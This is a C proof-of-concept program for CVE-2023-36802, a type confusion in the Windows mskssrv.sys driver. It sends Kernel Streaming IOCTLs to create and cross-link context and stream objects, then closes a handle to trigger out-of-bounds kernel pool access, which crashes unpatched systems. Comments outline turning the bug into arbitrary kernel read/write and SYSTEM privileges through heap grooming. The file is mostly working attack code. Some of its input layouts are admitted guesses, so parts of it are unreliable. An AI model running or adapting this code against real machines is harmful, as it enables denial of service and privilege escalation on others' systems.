/*
 * CVE-2023-36802 — mskssrv.sys Type Confusion Trigger PoC
 *
 * Description:
 *   Demonstrates the type confusion between FSContextReg (0x78 bytes, type 1)
 *   and FSStreamReg (0x1D8 bytes, type 2) in FSRendezvousServer::FindObject.
 *   The pre-patch mskssrv.sys allows an attacker to create both object types
 *   via Kernel Streaming IOCTLs, cross-link them via RegisterContext/
 *   RegisterStream, then close a handle to trigger FindObject on the wrong
 *   object type — causing out-of-bounds pool access.
 *
 * Impact:
 *   Elevation of Privilege — type confusion leads to OOB pool read/write,
 *   which can be weaponized with heap grooming for kernel code execution.
 *   This PoC only triggers the confusion (causing BugCheck on pre-patch),
 *   it does NOT include the full exploit chain.
 *
 * Usage:
 *   cl.exe /W4 poc_cve_2023_36802.c /Fe:poc_cve_2023_36802.exe
 *   poc_cve_2023_36802.exe
 *
 * Expected output (pre-patch):
 *   [!] SYSTEM BUGCHECK — type confusion triggered OOB access in Close
 *
 * Expected output (post-patch):
 *   [*] FindStreamObject returned NULL for type-1 object — system is patched.
 *
 * Author: OnlyFm252
 * Date:   2026-07-17
 * CVE:    CVE-2023-36802
 *
 * DISCLAIMER: This code is provided for defensive security research and blue
 * team detection testing ONLY. Do not use for unauthorized access.
 */

#include <windows.h>
#include <stdio.h>

/*
 * MSKSSRV IOCTL codes (from Ghidra decompilation of SrvDispatchIoControl)
 *
 * The device uses METHOD_NEITHER for all IOCTLs.
 * Device type: 0x2f (FILE_DEVICE_KS = 0x2f)
 * Function codes:
 *   0x100 → FSInitializeContextRendezvous (creates FSContextReg, type 1)
 *   0x101 → InitializeStream             (creates FSStreamReg, type 2)
 *   0x102 → PublishTx
 *   0x103 → PublishRx
 *   0x104 → ConsumeTx
 *   0x105 → ConsumeRx
 *   0x106 → NotifyContext
 *   0x107 → RegisterContext              (re-links FsContext2 to found context)
 *   0x108 → RegisterStream               (re-links FsContext2 to found stream)
 *   0x109 → DrainTx
 */
#define IOCTL_KS_INIT_CONTEXT    0x2f0400  /* FSInitializeContextRendezvous */
#define IOCTL_KS_INIT_STREAM     0x2f0404  /* InitializeStream */
#define IOCTL_KS_REGISTER_CTX    0x2f041c  /* RegisterContext */
#define IOCTL_KS_REGISTER_STREAM 0x2f0420  /* RegisterStream */

/* Device path — can also use \\.\GLOBALROOT\Device\MSKSSRV */
#define MSKSSRV_DEVICE L"\\\\.\\MSKSSRV"

/*
 * KS rendezvous registration input structure.
 * These are the first fields parsed by the IOCTL handlers:
 *   +0x00: PID (ULONG) — process ID for rendezvous matching
 *   +0x04: Key (ULONG) — arbitrary key for pairing context ↔ stream
 *   +0x08: Flags (ULONG) — additional matching criteria (streams only)
 *
 * The exact layout depends on the IOCTL; we use a minimal struct.
 */
typedef struct _KS_RENDEZVOUS_INPUT {
    ULONG ProcessId;
    ULONG Key;
    ULONG Flags;
    ULONG Reserved;
} KS_RENDEZVOUS_INPUT, *PKS_RENDEZVOUS_INPUT;

static HANDLE open_mskssrv(void)
{
    HANDLE h = CreateFileW(
        MSKSSRV_DEVICE,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (h == INVALID_HANDLE_VALUE) {
        /*
         * The device may not exist as a named device object directly.
         * Try the KS proxy path via device interface GUID.
         */
        printf("[!] CreateFile(\"%ls\") failed: %lu\n",
               MSKSSRV_DEVICE, GetLastError());
        printf("    Try: \\\\.\\GLOBALROOT\\Device\\MSKSSRV\n");
        printf("    Or enumerate KS device interfaces via SetupDiGetClassDevs\n");
    }
    return h;
}

static BOOL send_ioctl(HANDLE h, DWORD code, PVOID in, DWORD in_sz,
                        PVOID out, DWORD out_sz, DWORD *ret)
{
    DWORD bytes = 0;
    BOOL ok = DeviceIoControl(h, code, in, in_sz, out, out_sz, &bytes, NULL);
    if (ret) *ret = bytes;
    return ok;
}

int main(void)
{
    HANDLE hCtx  = INVALID_HANDLE_VALUE;
    HANDLE hStrm = INVALID_HANDLE_VALUE;
    HANDLE hCross = INVALID_HANDLE_VALUE;
    KS_RENDEZVOUS_INPUT input = {0};
    DWORD ret = 0;
    int exitcode = 1;

    printf("=== CVE-2023-36802 — mskssrv.sys Type Confusion PoC ===\n\n");

    /* ----------------------------------------------------------------
     * Step 1: Open two handles to the KS proxy device.
     * Each gets an independent FsContext2 in SrvDispatchCreate.
     * ---------------------------------------------------------------- */
    printf("[1] Opening MSKSSRV device (handle for context)...\n");
    hCtx = open_mskssrv();
    if (hCtx == INVALID_HANDLE_VALUE) goto cleanup;
    printf("    hCtx  = 0x%p\n", hCtx);

    printf("[2] Opening MSKSSRV device (handle for stream)...\n");
    hStrm = open_mskssrv();
    if (hStrm == INVALID_HANDLE_VALUE) goto cleanup;
    printf("    hStrm = 0x%p\n", hStrm);

    printf("[3] Opening MSKSSRV device (cross-link handle)...\n");
    hCross = open_mskssrv();
    if (hCross == INVALID_HANDLE_VALUE) goto cleanup;
    printf("    hCross = 0x%p\n", hCross);

    /* ----------------------------------------------------------------
     * Step 2: Create FSContextReg (type 1, 0x78 bytes) on hCtx.
     * IOCTL 0x2f0400 → FSInitializeContextRendezvous
     *   → ExAllocatePoolWithTag(PagedPool, 0x78, 'Creg')
     *   → sets type=1, size=0x78 at obj+0x30/0x34
     *   → inserts into context list (server+0x80)
     *   → stores in FsContext2+0x20
     * ---------------------------------------------------------------- */
    printf("\n[4] Creating FSContextReg (type=1, 0x78 bytes) via IOCTL 0x2f0400...\n");
    input.ProcessId = GetCurrentProcessId();
    input.Key = 0x41414141;  /* arbitrary matching key */
    input.Flags = 0;

    if (!send_ioctl(hCtx, IOCTL_KS_INIT_CONTEXT,
                    &input, sizeof(input), NULL, 0, &ret)) {
        printf("[!] IOCTL_KS_INIT_CONTEXT failed: %lu\n", GetLastError());
        printf("    The device may require specific input format.\n");
        goto cleanup;
    }
    printf("    [+] FSContextReg created on hCtx (type=1, 0x78 bytes, pool tag 'Creg')\n");

    /* ----------------------------------------------------------------
     * Step 3: Create FSStreamReg (type 2, 0x1D8 bytes) on hStrm.
     * IOCTL 0x2f0404 → InitializeStream
     *   → ExAllocatePoolWithTag(PagedPool, 0x1D8, 'Sreg')
     *   → FSStreamReg::FSStreamReg() sets type=2, size=0x1D8
     *   → inserts into stream list (server+0x50)
     *   → stores in FsContext2+0x20
     * ---------------------------------------------------------------- */
    printf("[5] Creating FSStreamReg (type=2, 0x1D8 bytes) via IOCTL 0x2f0404...\n");
    input.ProcessId = GetCurrentProcessId();
    input.Key = 0x41414141;  /* same key for rendezvous matching */
    input.Flags = 0;

    if (!send_ioctl(hStrm, IOCTL_KS_INIT_STREAM,
                    &input, sizeof(input), NULL, 0, &ret)) {
        printf("[!] IOCTL_KS_INIT_STREAM failed: %lu\n", GetLastError());
        goto cleanup;
    }
    printf("    [+] FSStreamReg created on hStrm (type=2, 0x1D8 bytes, pool tag 'Sreg')\n");

    /* ----------------------------------------------------------------
     * Step 4: Cross-link — use RegisterContext on hCross to make its
     * FsContext2+0x20 point to the FSContextReg from Step 2.
     *
     * RegisterContext (IOCTL 0x2f041c) searches the context list
     * (server+0x80) by PID + Key and stores the found object in
     * the caller's FsContext2+0x20.
     *
     * After this, hCross's FsContext2+0x20 → FSContextReg (type 1).
     * When hCross is closed, Close() will call FindObject with this
     * type-1 object, but the close path for hCross may expect to
     * handle it as a stream, triggering the type confusion.
     * ---------------------------------------------------------------- */
    printf("\n[6] Cross-linking via RegisterContext (IOCTL 0x2f041c)...\n");
    printf("    Making hCross's FsContext2 point to the FSContextReg (type=1)...\n");
    input.ProcessId = GetCurrentProcessId();
    input.Key = 0x41414141;
    input.Flags = 0;

    if (!send_ioctl(hCross, IOCTL_KS_REGISTER_CTX,
                    &input, sizeof(input), NULL, 0, &ret)) {
        printf("[!] IOCTL_KS_REGISTER_CTX failed: %lu\n", GetLastError());
        printf("    This is expected on post-patch systems.\n");
        printf("    [*] System appears to be patched (FindStreamObject rejects type!=2)\n");
        exitcode = 0;
        goto cleanup;
    }
    printf("    [+] hCross FsContext2+0x20 now points to FSContextReg (0x78-byte object)\n");

    /* ----------------------------------------------------------------
     * Step 5: Trigger the type confusion.
     *
     * WARNING: On a VULNERABLE (pre-patch) system, this will cause a
     * kernel BugCheck (BSOD) because Close → FindObject will return
     * the 0x78-byte FSContextReg when the close path expects a
     * 0x1D8-byte FSStreamReg. The virtual dispatch reads fields at
     * offsets +0x98, +0xC8, +0x140 — all beyond the 0x78 allocation.
     *
     * On a PATCHED system, FindStreamObject checks type==2 and returns
     * NULL, so the close proceeds safely.
     * ---------------------------------------------------------------- */
    printf("\n[7] WARNING: About to trigger type confusion via CloseHandle(hCross).\n");
    printf("    On PRE-PATCH systems, this WILL cause a BugCheck (BSOD).\n");
    printf("    On POST-PATCH systems, FindStreamObject returns NULL safely.\n");
    printf("\n    Press ENTER to trigger, or Ctrl+C to abort...\n");
    getchar();

    printf("[8] Closing hCross — triggers Close → FindObject type confusion...\n");

    /*
     * This is the critical moment:
     *
     * Close reads FsContext2+0x20 → gets FSContextReg (type=1, 0x78 bytes)
     * Close calls FindObject(server, obj)
     * FindObject checks *(int*)(obj+0x30) → type==1 → searches context list
     * FindObject finds the FSContextReg in context list → returns it
     * Close dispatches virtual methods on the returned object
     *
     * BUG: The virtual methods expect FSStreamReg layout (0x1D8 bytes)
     * but the object is FSContextReg (0x78 bytes) → OOB access past
     * the allocation boundary.
     *
     * With heap grooming, an attacker controls what's at offset 0x78+
     * relative to the FSContextReg allocation, achieving controlled
     * OOB read/write → arbitrary kernel R/W → SYSTEM.
     */
    CloseHandle(hCross);
    hCross = INVALID_HANDLE_VALUE;

    printf("[+] Handle closed without BugCheck — system appears PATCHED.\n");
    printf("[*] FindStreamObject correctly rejected the type-1 object.\n");
    exitcode = 0;

cleanup:
    if (hCtx != INVALID_HANDLE_VALUE) CloseHandle(hCtx);
    if (hStrm != INVALID_HANDLE_VALUE) CloseHandle(hStrm);
    if (hCross != INVALID_HANDLE_VALUE) CloseHandle(hCross);

    printf("\n=== Done. ===\n");
    return exitcode;
}
